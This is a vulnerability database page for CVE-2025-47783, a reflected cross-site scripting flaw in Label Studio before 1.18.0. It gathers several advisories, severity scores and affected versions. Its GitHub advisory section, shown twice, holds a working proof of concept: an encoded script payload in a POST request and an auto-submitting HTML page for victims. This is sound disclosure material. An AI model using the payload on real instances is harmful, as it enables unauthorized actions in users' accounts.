CVE-2025-47783
label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.6
label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.
- Record
CVE-2025-47783- CVSS 4.0
- 7.6 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2025-14944
7.6
Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.
- Record
EUVD-2025-14944- CVSS 4.0
- 7.6 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8jhr-wpcm-hh4h
7.6
label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
Summary
The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.
Details
The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.
39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41: """Generate upload data example by config only"""
42: config = request.POST.get('label_config', '')
43:
44: org_pk = get_organization_from_request(request)
45: secure_mode = False
46: if org_pk is not None:
47: org = generics.get_object_or_404(Organization, pk=org_pk)
48: secure_mode = org.secure_mode
49:
50: try:
51: Project.validate_label_config(config)
52: task_data, _, _ = get_sample_task(config, secure_mode)
53: task_data = playground_replacements(request, task_data)
54: except (ValueError, ValidationError, lxml.etree.Error):
55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56: else:
57: response = HttpResponse(json.dumps(task_data))
58: return response
The vulnerability is specifically located in line 57, where HttpResponse is used.
57: response = HttpResponse(json.dumps(task_data))
PoC
Send the following request after changing the {host} to your own.
POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e
Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.
<html>
<body>
<form action="http://{domain}/projects/upload-example/" method="POST">
<input type="hidden" name="label_config" value="<View><Text name="text" value="$textjmwwi&lt;script&gt;alert(1)&lt;/script&gt;s8m37"/></View>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Impact
- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing
document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
- Record
GHSA-8jhr-wpcm-hh4h- CVSS 4.0
- 7.6 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
7.6
Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.
- Record
CVE-2025-47783- CVSS 4.0
- 7.6 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
7.6
label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.
- Record
CVE-2025-47783- CVSS 4.0
- 7.6 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-8jhr-wpcm-hh4h
7.6
label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
Summary
The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.
Details
The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.
39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41: """Generate upload data example by config only"""
42: config = request.POST.get('label_config', '')
43:
44: org_pk = get_organization_from_request(request)
45: secure_mode = False
46: if org_pk is not None:
47: org = generics.get_object_or_404(Organization, pk=org_pk)
48: secure_mode = org.secure_mode
49:
50: try:
51: Project.validate_label_config(config)
52: task_data, _, _ = get_sample_task(config, secure_mode)
53: task_data = playground_replacements(request, task_data)
54: except (ValueError, ValidationError, lxml.etree.Error):
55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56: else:
57: response = HttpResponse(json.dumps(task_data))
58: return response
The vulnerability is specifically located in line 57, where HttpResponse is used.
57: response = HttpResponse(json.dumps(task_data))
PoC
Send the following request after changing the {host} to your own.
POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e
Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.
<html>
<body>
<form action="http://{domain}/projects/upload-example/" method="POST">
<input type="hidden" name="label_config" value="<View><Text name="text" value="$textjmwwi&lt;script&gt;alert(1)&lt;/script&gt;s8m37"/></View>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Impact
- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing
document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
- Record
GHSA-8jhr-wpcm-hh4h- CVSS 4.0
- 7.6 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVPYSEC-2025-124
6.1
Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. Version 1.18.0 contains a patch for the issue.
- Record
PYSEC-2025-124- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
label-studioPyPI |
before 1.18.0 | 1.18.0 |
label-studioPyPI |
before 1.18.0, plus listed versions 0.4.10.4.20.4.30.4.40.4.4.post1 Show 45 moreShow less0.4.4.post20.4.50.4.60.4.6.post10.4.6.post20.4.70.4.80.5.00.5.10.6.00.6.10.7.00.7.10.7.20.7.30.7.40.7.4.post00.7.4.post10.7.5.post10.7.5.post20.8.00.8.0.post00.8.10.8.1.post00.8.20.8.2.post00.9.00.9.0.post20.9.0.post30.9.0.post40.9.0.post50.9.10.9.1.post00.9.1.post10.9.1.post21.0.01.0.0.post01.0.0.post11.0.0.post21.0.0.post31.0.11.0.21.0.2.post01.1.01.1.0rc0 |
1.18.0 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | Label Studio < 1.18.0 - Reflected XSS |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-47783 is a high vulnerability (CVSS 7.6) in Humansignal Label-studio, published May 14, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.60%, the 48th percentile. Fixed in label-studio 1.18.0.
References
github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h
nvd.nist.gov/vuln/detail/CVE-2025-47783
github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d
github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml
github.com/advisories/GHSA-8jhr-wpcm-hh4h
github.com/CVEProject/cvelistV5/tree/main/cves/2025/47xxx/CVE-2025-47783.json
github.com/HumanSignal/label-studio
Left out here: 40 versions. The JSON record has them.